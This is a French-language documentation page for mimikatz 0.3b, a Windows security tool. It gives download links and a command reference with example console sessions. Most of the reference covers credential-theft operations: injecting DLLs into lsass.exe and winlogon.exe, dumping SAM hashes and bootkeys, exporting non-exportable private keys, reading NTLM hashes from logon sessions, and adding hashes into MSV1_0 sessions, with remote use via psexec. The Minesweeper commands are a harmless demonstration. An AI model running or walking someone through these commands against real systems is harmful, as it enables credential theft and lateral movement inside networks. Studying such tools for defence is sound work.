Discussions sur ce sujet dans le forum 
mimikatz 0.3b
Un outil qu'il est sympa, surtout avec sa librairie sekurlsa
Maintenant avec de vrais morceaux de clés privées dedans !
Téléchargement
- mimikatz_de_poche.zip (x86 et x64)
- mimikatz_de_poche.7z (x86 et x64)
A tester !
- mimikatz_de_poche_testme.zip (x86 et x64)
- mimikatz_de_poche_testme.7z (x86 et x64)
Une version supportant :
(core/injecteur)l'injection de DLL entre sessions (>= NT 6), permettant ainsi de se passer du passage par service "PsExec", ou d'échanger des bureaux de sessions (depuis) RDP...(sekurlsa/sam)le dump de l'historique des hashs (< NT 6)Je ne préconise pas (encore ?) l'utilisation de cette version sur un environnement de production, même si je n'ai pas (encore ?) constaté de problème...
Sommaire
Librairies distantes :
Introduction
mimikatz est un outil d'audit de sécurité, son rôle premier est de placer une librairie dans un processus distant et permettre la communication entre le processus cible et mimikatz à la manière d'un shell.
Ainsi il est tout à fait possible d'utiliser mimikatz pour obtenir le plan du démineur ou manipuler les processus d'authentification Windows, tout dépend de la librairie utilisée !
Il n'y aura aucune explication sur la méthodologie à employer pour pénétrer un quelconque système ou effectuer d'actions illégales ; seulement des explications de commandes
mimikatz a été testé avec succès sur les plateformes suivantes :
- Windows 2000
- Windows XP (32 et 64 bits)
- Windows Server 2003 (32 et 64 bits)
- Windows Vista (32 et 64 bits)
- Windows Server 2008 (32 et 64 bits)
- Windows 7 (32 et 64 bits)
- Windows Server 2008 (R2)
Des tests sommaires ont été effectué sous Windows PE avec succès.
Principe de fonctionnement
mimikatz, via les droits administrateur (et en particulier du privilège SeDebugPrivilege), va demander au processus ciblé la création d'un nouveau thread d'éxecution lui permettant de charger une librairie externe.
Cette librairie, via les canaux nommés, va établir une connexion avec le processus mimikatz. Ainsi mimikatz pourra passer des commandes (et obtenir des résultats) depuis du code executé dans un autre processus. mimikatz étant un outil de test, une seule injection par système est possible, en utilisation standard, cette unique limitation ne gêne en rien.
Contrairement à d'autres outils d'injection de librairies, il y a une réelle interaction entre le processus cible et mimikatz, ceci permet par exemple d'éviter les chargements/déchargements de librairies lors d'un déroulement d'actions
mimikatz est disponible en deux version, x86 (32 bits) et x64 (64 bits). La version 64 bits est utile à l'injection de librairie dans un processus 64 bits, dans ce cas mimikatz ET la librairie doivent être 64 bits.
Injecter une librairie 32 bits depuis Vista 64 bits vers le démineur de Windows XP 32 bits ne nécessite pas mimikatz 64 bits par exemple.
Utilisation
mimikatz peut être utilisé localement, ou à distance via l'utilitaire Microsoft PsExec (le rôle premier de mimikatz n'étant pas d'éxecuter des processus distants, autant confier cette tâche à un utilitaire spécialisé !)
A noter : PsExec peut aussi se réveler nécessaire pour exécution sous RDP et/ou Windows >= 6.0 afin de spécifier dans quel contexte lancer le programme (système, utilisateur, interactif ou non)
mimikatz est un outil en mode console, pas seulement parce que je déteste coder des interfaces graphiques, mais parce que cela facilite les interactions lors de l'éxecution en mode distant.
En exécution normale, mimikatz se présente ainsi :
Les commmandes locales sont entrées directement à l'invite (exemple : cls), les commandes distantes sont entrées préfixées d'un '@' (exemple : @getWinmineFunctions).
Commandes locales
Ces commandes peuvent être principalement demandées sans librairie injectée et facilitent l'interaction avec les librairies.
| Commande | cls |
|---|---|
| Alias | clear |
| Arguments | aucun |
| Description | Efface l'écran |
| Remarque(s) | N'est pas pris en charge sous PsExec |
| Exemple |
mimikatz # cls |
| Commande | exit |
|---|---|
| Alias | quit, bye |
| Arguments | aucun |
| Description | Ferme l'éventuelle connexion et quitte mimikatz |
| Remarque(s) | aucune |
| Exemple |
mimikatz # quit Bye :) |
| Commande | exec |
||||||
|---|---|---|---|---|---|---|---|
| Alias | start, run |
||||||
| Arguments | [/paused] [/sudo] commande
|
||||||
| Description | Exécute un processus | ||||||
| Remarque(s) | aucune | ||||||
| Exemple |
mimikatz # exec /paused notepad Demande d'exécution de : 'notepad' * Le Thread principal est démarré en pause ! Reprise avec resume ThreadID PID : 1860 ThreadID : 596 AuthId_h : 0 AuthId_l : 389488 |
| Commande | resume |
||
|---|---|---|---|
| Alias | play |
||
| Arguments | ThreadId
|
||
| Description | Reprend un thread en pause | ||
| Remarque(s) | aucune | ||
| Exemple |
mimikatz # resume 596 Reprise du thread 596 avec succès |
| Commande | inject |
||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
| Alias | load |
||||||||||
| Arguments | {processus|/pid numPid} librairie [/nocomm] [/nodebug]
|
||||||||||
| Description | Injecte une librairie dans un processus (via CreateRemoteThread) |
||||||||||
| Remarque(s) | aucune | ||||||||||
| Exemple |
mimikatz # inject winmine.exe ..\Release\demineur.dll /nodebug
PID 'winmine.exe' : 1064
Demande d'injection de : ..\Release\demineur.dll dans le processus 1064
Le privilège 'SeDebugPrivilege' NE SERA PAS demandé
Demande de chargement de librairie effectuée avec succès !
Attente de connexion du client...
Serveur connecté à un client !
Message du processus :
Bienvenue dans un processus distant
Gentil Kiwi
|
| Commande | close |
|---|---|
| Alias | eject |
| Arguments | aucun |
| Description | Ferme la connexion existante au processus (et décharge la librairie) |
| Remarque(s) | aucune |
| Exemple |
mimikatz # close Fermeture du canal de communication |
Bonus
| Commande | keydump |
||||
|---|---|---|---|---|---|
| Alias | dumpkey |
||||
| Arguments | [/force] [/medium]
|
||||
| Description | Exporte les certificats et clés privées du compte machine et de l'utilisateur courant
|
||||
| Remarque(s) | Mot de passe des PFX : mimikatz Pas de support de Windows 2000 pour le moment |
||||
| Exemple |
mimikatz # keydump /force /medium Export du magasin machine : VM-W2K8R2-ENT-X * machine_noexport_noprotect + Provider : Microsoft Enhanced Cryptographic Provider v1.0 + Container clé : machine_noexport_noprotect-4419fdea-b376-4cbf-b024-2d4fc54ce999 + Taille de clé : 2048 - Exportable : NON + Exporté dans : "VM-W2K8R2-ENT-X_0_machine_noexport_noprotect.pfx" Export du magasin utilisateur : Administrateur * user_noexport_protect + Provider : Microsoft Enhanced Cryptographic Provider v1.0 + Container clé : user_noexport_protect-f599a584-a0a8-41a5-8d35-09be05556824 + Taille de clé : 2048 - Exportable : NON + Exporté dans : "Administrateur@VM-W2K8R2-ENT-X_0_user_noexport_protect.pfx" |
| Commande | dumpsam |
||||
|---|---|---|---|---|---|
| Alias | samdump |
||||
| Arguments | rucheSystem rucheSam
|
||||
| Description | Récupère la bootkey et les identifiants locaux d'un système | ||||
| Remarque(s) | Les ruches se trouvent dans %SystemRoot%\System32\ConfigCes fichiers sont inacessibles sur un système en fonctionnement |
||||
| Exemple |
mimikatz # samdump p:\system p:\sam Nom du système : HOSTNAME Bootkey du système : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ID : 500 Nom : Administrateur Hash LM : bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb Hash NTLM : cccccccccccccccccccccccccccccccc ID : 501 Nom : Invité Hash LM : Hash NTLM : […] Ce bonus fonctionne très bien sous Windows PE...
|
| Commande | reponse |
|---|---|
| Alias | repond |
| Arguments | aucun |
| Description | Calcule la réponse à la Grande Question sur la Vie, l'Univers et le Reste |
| Remarque(s) | aucune |
| Exemple |
mimikatz # reponse La réponse est 42. |
Commandes de la librairie demineur.dll
Cette librairie permet de manipuler le démineur.
La commande typique d'injection est : inject winmine.exe demineur.dll
Par feignantise cette librairie n'est que 32 bits et ne fonctionne que sous Windows 5.x
| Commande | getWinmineFunctions |
|---|---|
| Arguments | aucun |
| Description | Retourne les adresses essentielles au fonctionnement |
| Remarque(s) | aucune |
| Exemple |
mimikatz # @getWinmineFunctions ** WinMine ** ; Statut recherche : OK :) @Pause = 0100341C @Reprise = 0100344C @Champ de mine = 01002EDD |
| Commande | pause |
|---|---|
| Arguments | aucun |
| Description | Met en pause le chronomètre du démineur (la partie peut continuer) |
| Remarque(s) | aucune |
| Exemple |
mimikatz # @pause |
| Commande | resume |
|---|---|
| Arguments | aucun |
| Description | Reprend le chronomètre du démineur |
| Remarque(s) | aucune |
| Exemple |
mimikatz # @resume |
| Commande | getMines |
|---|---|
| Arguments | aucun |
| Description | Retourne un plan du champ de mine |
| Remarque(s) | aucune |
| Exemple |
mimikatz # @getMines % % % % % % % % % % % % 1 . . . . . * 1 . % % . * . . . 1 . . . % % . . . . . . . . . % % . . * 1 . . . . * % % . . . . . . 1 1 1 % % . * . . . * 1 % % . 3 * . . . 2 % % * . . . . * 1 % % . * . . . . 1 % % % % % % % % % % % % |
Commandes de la librairie klock.dll
Cette librairie permet de basculer des bureaux.
La commande typique d'injection est : inject winlogon.exe klock.dll
Mais agissant rarement sur un poste verrouillé, il convient de passer par psexec pour lancer mimikatz sur un poste distant.
Pour les Windows 6.x et supérieur, mimikatz doit être lancé via un mode particulier afin de pouvoir interagir avec le processus WinLogon : psexec [\\poste] -i mimikatz pidWinLogon klock.dll echange
Dans ce mode mimikatz n'est pas interactif et basculera automatiquement les bureaux
| Commande | echange |
||||
|---|---|---|---|---|---|
| Arguments | [bureauSource bureauCible]
|
||||
| Description | Bascule un bureau vers un autre, si exécuté sans arguments, klock.dll déterminera automatiquement vers quel bureau basculer |
||||
| Remarque(s) | aucune | ||||
| Exemple |
mimikatz # @echange Bureau courant : Winlogon Bureau cible : Default Switch du bureau réussi ! mimikatz # @echange Bureau courant : Default Bureau cible : WinLogon Switch du bureau réussi ! |
| Commande | getDesktop |
|---|---|
| Arguments | aucun |
| Description | Retourne le bureau courant géré par WinLogon |
| Remarque(s) | aucune |
| Exemple |
mimikatz # @getDesktop Bureau courant : Default |
Commandes de la librairie sekurlsa.dll
Cette librairie permet de manipuler le processus d'authentification Windows.
La commande typique d'injection est : inject lsass.exe sekurlsa.dll
Pour les Windows 6.x et supérieur, mimikatz doit être lancé via un mode particulier afin de pouvoir interagir avec le processus système LSASS : psexec [\\poste] -s mimikatz
Manipulation de la SAM
Permet de manipuler les comptes locaux Windows sur poste standard, ou les comptes du domaine sur un contrôleur de domaine.
| Commande | getSAMFunctions |
|---|---|
| Arguments | aucun |
| Description | Retourne les adresses essentielles au fonctionnement |
| Remarque(s) | aucune |
| Exemple |
mimikatz # @getSAMFunctions ** samsrv.dll ** ; Statut recherche : OK :) @SamIConnect = 000007FF79BF9D40 @SamrOpenDomain = 000007FF79BF24F0 @SamrOpenUser = 000007FF79BF4960 @SamrEnumerateUsersInDomain = 000007FF79C2B150 @SamrQueryInformationUser = 000007FF79BF55C0 @SamIFree_SAMPR_USER_INFO_BUFFER = 000007FF79BE1EB0 @SamIFree_SAMPR_ENUMERATION_BUFFER = 000007FF79C55610 @SamrCloseHandle = 000007FF79C04220 |
| Commande | getLocalAccounts |
||||
|---|---|---|---|---|---|
| Arguments | [/full] [/csv]
|
||||
| Description | Récupère des informations sur les comptes locaux | ||||
| Remarque(s) | aucune | ||||
| Exemple |
mimikatz # @getLocalAccounts /csv Gentil Kiwi;NIRVANA;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb; Gentil Boulet;NIRVANA;;; krbtgt;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb; __vmware_user__;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb; test1;NIRVANA;9d3f8edfa6bd8badb644f31edae0ec8b;50c281c617ea9ee0880c8b735cc50f47; test2;NIRVANA;9d3f8edfa6bd8badbb2d20376863b425;b7434f6136bb1922bcbd35c697347534; SRVKIWI$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb; KIWI$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb; WINDOWS-E$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb; WINDOWS-G$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb; WINDOWS-A$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb; KIWIND$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb; WINDOWS-B$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb; mimikatz # @getLocalAccounts /full […] Compte ====== ID : 1124 Nom : KIWIND$ Domaine : NIRVANA Nom complet : KIWIND$ Actif : true Verouillé : false Type : Ordinateur Commentaire utilisateur : Commentaire admin : Expiration : N'arrive jamais Station(s) : Chemins ------- Répertoire de base : Lecteur de base : Profil : Script de démarrage : Connexions ---------- Nombre : 69 Echecs : 0 Dernière connexion : 08/05/2009 20:40:36 Dernière déconnexion : N'est pas encore arrivé Mot de passe ------------ Dernier changement : 04/05/2009 22:24:51 N'expire pas : false Peut être vide : false Mot de passe expiré : false Possibilité changement : 05/05/2009 22:24:51 Obligation changement : N'arrive jamais Hashs ----- Hash LM : Hash NTLM : bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb […] |
Manipulation du package MSV1_0
Permet de manipuler les authentifications en cours.
| Commande | getMSVFunctions |
|---|---|
| Arguments | aucun |
| Description | Retourne les adresses essentielles au fonctionnement |
| Remarque(s) | aucune |
| Exemple |
mimikatz # @getMSVFunctions ** msv1_0.dll ** ; Statut recherche : OK :) @GetPrimaryCredential = 000007FF7E2BCFE0 @AddPrimaryCredential = 000007FF7E2BFF80 @DeletePrimaryCredential = 000007FF7E2D0CC0 |
| Commande | getLogonSessions |
|---|---|
| Arguments | aucun |
| Description | Retourne les sessions en cours sur le système |
| Remarque(s) | aucune |
| Exemple |
mimikatz # @getLogonSessions Authentification Id : 0;804124 Package d'authentification : Kerberos Utilisateur principal : Gentil Kiwi Utilisateur : Gentil Kiwi Domaine de connexion : NIRVANA Hash LM : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Hash NTLM : bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb […] |
| Commande | addLogonSession |
||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Arguments | [idSecAppHigh] idSecAppLow Utilisateur {Domaine|Poste} [HashLM] HashNTLM
|
||||||||||||||
| Description | Ajoute un identifiant de sécurité à un package d'authentification | ||||||||||||||
| Remarque(s) | aucune | ||||||||||||||
| Exemple |
mimikatz # @addLogonSession 22577311 "Gentil Kiwi" NIRVANA bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb Injection de données de sécurité réussie :) |
| Commande | delLogonSession |
||||
|---|---|---|---|---|---|
| Arguments | [idSecAppHigh] idSecAppLow
|
||||
| Description | Supprime un identifiant de sécurité d'un package d'authentification | ||||
| Remarque(s) | aucune | ||||
| Exemple |
mimikatz # @delLogonSession 22577311 Suppression des données de sécurité réussie :) |


